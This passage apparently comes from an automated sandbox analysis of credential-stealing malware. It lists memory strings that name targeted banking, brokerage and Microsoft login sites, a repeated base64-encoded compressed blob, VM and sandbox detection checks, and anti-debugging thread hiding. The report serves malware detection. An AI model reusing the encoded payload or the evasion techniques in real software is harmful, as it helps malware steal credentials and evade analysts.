Kneikg7dvk+GJmkHFttaJEguSLSv129ueZxPU8u/jjbOh58SbK79gHC6fbyHtiXugGa2piEQXxG+bmG0Cus4t/nq2zXfIR5aooh8B19rBJQYmQ20FEfz4uFqfTRmf/+lM6Ex746uEtS7v0ouFUMm83c8HpZ5PQzRdxuv47EQAZ9PEP/ZL6ecyVbL+8hOSJm6+yF+1A6ySN83i+WdwHy5TP6AGa54yNOQDMt0K/OHXfg+kqThLIfk6QFsLDCjZdpZTGOzjUsCOwZe5C6Gi8Q8TVSedBLpSfsvQj8BDp18kmZ3ex54YP0+Gs0yuOc0oHyahpuklKSN9DNVuBZhWH/uMHS1PAuQ5a2Lju9F/SWeKm7prBc0jVP84iPJxdnHVJ/HDDDbXL54Z89qdU0Vcin6gqmwXrJjGgP4IA8IR19qewIwTn
Source: ba324316e4.exe, 00000012.00000002.3518847270.000000000BB20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: skotes.exe, 0000000E.00000003.7174413854.0000000001388000.00000004.00000020.00020000.00000000.sdmp, 90c05232da.exe, 00000011.00000003.3162655463.0000000000845000.00000004.00000020.00020000.00000000.sdmp, ba324316e4.exe, 00000012.00000002.3508880280.0000000001403000.00000004.00000020.00020000.00000000.sdmp, ba324316e4.exe, 00000012.00000002.3508880280.0000000001435000.00000004.00000020.00020000.00000000.sdmp, fe4405d388.exe, 00000013.00000003.3134149980.000000000141C000.00000004.00000020.00020000.00000000.sdmp, fe4405d388.exe, 00000013.00000003.3134591234.0000000001421000.00000004.00000020.00020000.00000000.sdmp, fe4405d388.exe, 00000013.00000003.3136251794.0000000001440000.00000004.00000020.00020000.00000000.sdmp, fe4405d388.exe, 00000013.00000002.3153430982.0000000001441000.00000004.00000020.00020000.00000000.sdmp, 90c05232da.exe, 00000014.00000002.3076095968.0000000000C6E000.00000004.00000020.00020000.00000000.sdmp, 90c05232da.exe, 00000014.00000002.3076095968.0000000000C9E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 90c05232da.exe, 00000011.00000003.2943718137.00000000056BB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: 90c05232da.exe, 00000011.00000003.2943718137.00000000056BB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: ba324316e4.exe, 00000012.00000002.3518847270.000000000BB20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: 90c05232da.exe, 00000011.00000003.2943718137.00000000056BB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696487552
Source: 90c05232da.exe, 00000011.00000003.2943718137.00000000056BB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: 90c05232da.exe, 00000011.00000003.2943444885.00000000056C8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696487552p
Source: 90c05232da.exe, 00000011.00000003.2965410565.00000000008C5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 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
Source: skotes.exe, 0000000E.00000003.7174413854.0000000001388000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW\?
Source: 90c05232da.exe, 00000011.00000003.2943718137.00000000056BB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696487552
Source: 90c05232da.exe, 00000011.00000003.2943718137.00000000056BB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: 90c05232da.exe, 00000011.00000003.2943718137.00000000056BB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: 90c05232da.exe, 00000011.00000003.2943718137.00000000056BB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: fe4405d388.exe, 00000013.00000003.3134149980.000000000141C000.00000004.00000020.00020000.00000000.sdmp, fe4405d388.exe, 00000013.00000003.3134591234.0000000001421000.00000004.00000020.00020000.00000000.sdmp, fe4405d388.exe, 00000013.00000003.3136251794.0000000001440000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWd
Source: 90c05232da.exe, 00000011.00000003.2943718137.00000000056BB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: 90c05232da.exe, 00000011.00000003.2943718137.00000000056BB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: ba324316e4.exe, 00000012.00000002.3508880280.00000000013BE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware#
Source: 90c05232da.exe, 00000011.00000003.2943718137.00000000056BB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: 90c05232da.exe, 00000011.00000003.2943718137.00000000056BB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: skotes.exe, 0000000E.00000003.7174413854.0000000001357000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP
Source: 90c05232da.exe, 00000011.00000003.2943718137.00000000056BB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: 90c05232da.exe, 00000011.00000003.2943718137.00000000056BB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: 90c05232da.exe, 00000011.00000003.2943718137.00000000056BB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: 90c05232da.exe, 00000011.00000003.2943718137.00000000056BB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: ba324316e4.exe, 00000012.00000002.3508880280.00000000013BE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: 90c05232da.exe, 00000011.00000003.2943718137.00000000056BB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: 90c05232da.exe, 00000011.00000003.2943718137.00000000056BB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: 90c05232da.exe, 00000011.00000003.3161605683.00000000008A7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: H4sIAAAAAAAAAN1ca2/juJL9K4t8HTmj9yMX+8Fxko5n8vDETvruvX0RyBJtK5EljSQn7R3Mf99TpJ62JbtngcXFAoOeSKwqFovFqlMk5T/ORnG0CJbjq+zs4uyPb2fXo+m3s4tvZ5PB00CRbdWw5IEyUBRpMrga6Kpm2wN1YH47k0DqL1lB+3dQqLKsaGhUZKl4YRi2BmateFY02zHxbIhn2dY1E60Ds3h2FFs3IcAoGGTLcNAdRBQUIJEVg/ovCXRTUepndOmYat2jrNqqBuWNgaGWfVqqYuH/A7XSSjYMFTLKZ4wZnSoDq3yWLctBu1VqqSoq0Tvls2kackMH2VC0hk6yY6kauAdK1YEOJdCBUz5rjqnXCsiOI9ty3S7bjmWQ0fkccAYVJE2NYXm7oaGpGZZBZqsZFINmRi/NhkE1JoKGaDoNszmOabSeDdNsdoAhqa2JxMTaA32gVAQwqd4QAI0UvWkTXdZhkfoZE6U0TaBamt16Vgy7Kc+2bWdgVDaVbdMg11EGdjlGh/5rjBlWtPTGGGxHNbizVc+K4jRUVDSTT3vVbplmc1ptQzHMhkq26tgGqaRUL+CemIWyQ90yoB9UqAgwD2rDipajW1qjB902uTNXg7QsQ2sxWAq3YukomCXHGWjQSrFLQ1myYjesoGsa962KwFIMp+UakCJDy6odhtAaM2XJMqa+HpVhGlpTBxNKtWbKVFWnXk2yIcO0TXrFkVXy1YpAk83mIA1b0dWmADin2Ry0amE1qdpAr8eo0kxiMuSSRsf0NpQyVNXQyV9LAsQESKgDDWxvI+5plRl0mqyGVphMRWs8q6am0mSrpUR0YjkNNeEv5G7awCnfaJaJwFQPjJtiAJ5SpmbKttIMZpYu80BSdSqT7Rsuq+o8GtZ9WpgqUKjFMBRL1uXGutdkzajoHcuBUZyBXTwqKixgDQxyV54KHBvuiWWsly+og4Ep/POJh2vbgHq2cPEnsU5NpTT0E7eb7hgDW4yBv9DhxgOKJnbxBmnBgRS1lGtbWAgU/kzxaGoyOahRPGoy5RS4kFALDm+SUrolLecKY4quXOi6Zcu6pL3Jy6Vumhe6ptiWJaUsY/k8iJZEIJuy5CmBjUiiXuiqqUPlzySOMjdXXw0ZJOQE0tubykzHhgxVtWxFchxjpSH0oB0Ly5Qc/22OWXDQhwVrS/OFt7Rs1cIzQpwp5c7vqRsFazcP4oit3SB0N3m8CMIQFI7hKBIWmEYBmHo0TEVic19bKhaNwjAR3fJkEMaks+aAVJrLylug2cYF9Y8OAmWpLk1ZJwU0w5GcxYItHRoTsgYWBNMsF2tKJXrbBj/G763c/PcNSwOWvRqvwTqBZTLo9/oZ5KvXlPlByrz8dZOGGcQgucCWvqvNNT5O3VEcyTdt31cd6tZQHZiOzQcZC8E22ETZKkgudAP+oUn2G+KcQQbBErMtKVCZBX1tsjmSu2SuFLZCAqXhI9FKzFE906Z2Be2GpMiub+uyTB2beHZ83XMdHeNHIAN/4LMoDxZbf05vsAqlTzcMWZ5kn2EQvW8S382ZMJYjBW++Y1oatCZgYUqKp9u6TaNSIF2TEDvtQNfQGaUsS7L0JVKfbZGyWA+S5rE3OIx9oWGlORaMqS90h6xgIArp0pvuywtTd7hyCA1zsj5AzYXmAOlYkuN5JpKphnYFwV7y48/ITdP4M/PSOAzJ/HkaLJcsjdjnhQbDyaoUAa+FMRwoWhJBvMnzeLkMaVCYG1NaWHN/aSrkxVjgiuRb9tsS8Q4WhQcbkim7iMoyOZgJl5OYrQOnOTSVgGNwOB/E3uIC6RH4THKNpfamWGBHPLBt6Lhm3xM34g7ygXlCorNUKYPh8ZZ5braau967FwbeO5o1pHIsdubrKoaNNYEeMvcDymdblm2CC0Q5VXMkOQgYohlMadka/PhNe/MD3YKpEXhNQ4LhdYiADEA6OJjsMUXFJKIDUh4dyJpiEbehY8xIhAvThNKKRcv0Q3mFBaMYnhF4fO1h6ZMFsw1XStckRVu+LYDkoBAWriOp3mrhmjo9a+gZHWRMVWxqhmGkwPDYyjKMCw0Og3WVeEka+xsvn29TtmTfWbTJ0IYJkyXVZTogEvk0Ug/cTvdVBjxCPm0bNBY/sA3VxFhkhdzQsFcLBz6uGXB1DV0nbobJw9jhNYa0gG/En+48ZFhmCFIXmuZoqiopbM5c3YRODtzXlizVX/mAitADqNeW5oaJtWpjpinGWLCK8urG3jKNN0mmupGvcU5HlXybvdFUXWgqEhdpkMfvjkkaEbCSfMYSxkL4HWyoXAB1G5hDlqeMuUnwoUAFmVChtHrzZUujZ1qMtmQuVsgyJgRjoLosLTOWYnCQQNUD+mHRChOMZhQemhTYAQZgYPXrgAlY7arGVNjsQrU1hANJXXgrvFAvKP9iwWKe4wjrnFHs+Z6nrkdzDfsQ7pfwBivJDdeBjyC8ZBrYMHeatMrX4SJ1l2vEDg/GZZwN3qvaQEOk1nsYI0nQhADMY/hZsIxYmq3ilFF3yHgGzY6tEzFmBea/UBzFhAmYb1oqHrA2HYnHoIDc0qDg5jN/iSm+UGwHYbQqqkRJVpdhCsWfEsDQs2YatlmgMvGsygRH9PIZM241n1Wg2QJriGdD15v8AEBGUz5wmlUAhSdeuRka5XGneIZTmGpDHsAMQJpeyqP8xYFGCRUAjTnqs8pnAw7ZfJaRM+v+EFLwrtaPnqkMBbgxavDBYWANPixOUg4B+VzjJUjJYCBsUJclzNAchyM4pexDM02OhsoxyzrVD0C6Arsg91oEjxRVPKLcNQkNKVbxTCUW6soC2egIZoCPA7t4NFXTGOgK4Ztqmq9iAIBoyJ0taxTdWMw6zUbRFVnX0UrMS8+qbjpa49lGwqehC3MjgPLqrkBUFpyDPwpFUfupRlk6QW9NIcWAwPgjCgxdK6okaC1DF0K1ohFZDl5jASmKR3itQzUXpUraHaACX6vQ/9XAsTV4DSBo7dk3
Source: 90c05232da.exe, 00000011.00000003.2943718137.00000000056BB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: 90c05232da.exe	Binary or memory string: n29TtmTfWbTJ0IYJkyXVZTogEvk0Ug/cTvdVBjxCPm0bNBY/sA3VxFhkhdzQsFcLBz6uGXB1DV0nbobJw9jhNYa0gG/En+48ZFhmCFIXmuZoqiopbM5c3YRODtzXlizVX/mAitADqNeW5oaJtWpjpinGWLCK8urG3jKNN0mmupGvcU5HlXybvdFUXWgqEhdpkMfvjkkaEbCSfMYSxkL4HWyoXAB1G5hDlqeMuUnwoUAFmVChtHrzZUujZ1qMtmQuVsgy
Source: 90c05232da.exe, 00000011.00000003.2943718137.00000000056BB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: 90c05232da.exe, 00000011.00000003.2943718137.00000000056BB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: 90c05232da.exe, 00000011.00000003.2943718137.00000000056BB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: file.exe, 00000001.00000002.2292153523.0000000000FEA000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, 00000004.00000002.2316654517.0000000000BBA000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000005.00000002.2326441076.0000000000BBA000.00000040.00000001.01000000.00000007.sdmp, ba324316e4.exe, 00000012.00000002.3505905699.0000000000C82000.00000040.00000001.01000000.0000000A.sdmp, 90c05232da.exe, 00000014.00000002.3079071209.0000000000F40000.00000040.00000001.01000000.00000009.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: 90c05232da.exe, 00000011.00000003.2990486451.00000000008C1000.00000004.00000020.00020000.00000000.sdmp, 90c05232da.exe, 00000011.00000003.3019848116.00000000008C0000.00000004.00000020.00020000.00000000.sdmp, 90c05232da.exe, 00000011.00000003.3082242599.00000000008B0000.00000004.00000020.00020000.00000000.sdmp, 90c05232da.exe, 00000011.00000003.3060496486.00000000008B0000.00000004.00000020.00020000.00000000.sdmp, 90c05232da.exe, 00000011.00000003.3044452262.00000000008C0000.00000004.00000020.00020000.00000000.sdmp, 90c05232da.exe, 00000011.00000003.3082592959.00000000008C0000.00000004.00000020.00020000.00000000.sdmp, 90c05232da.exe, 00000011.00000003.3018973506.00000000008B0000.00000004.00000020.00020000.00000000.sdmp, 90c05232da.exe, 00000011.00000003.2989946576.00000000008C0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 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
Source: 90c05232da.exe, 00000011.00000003.2943718137.00000000056BB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: ba324316e4.exe, 00000012.00000002.3518847270.000000000BB20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API call chain: ExitProcess graph end node	graph_4-10765
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API call chain: ExitProcess graph end node	graph_4-10804
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API call chain: ExitProcess graph end node	graph_5-10063
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API call chain: ExitProcess graph end node	graph_5-10069

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1016130001\258e650b63.exe	Thread information set: HideFromDebugger

Potentially malicious time measurement code found

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_04A30249 Start: 04A303DD End: 04A3029B

1_2_04A30249

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1016130001\258e650b63.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1016130001\258e650b63.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1016130001\258e650b63.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1016130001\258e650b63.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1016130001\258e650b63.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1016130001\258e650b63.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1016130001\258e650b63.exe	Open window title or class name: filemonclass
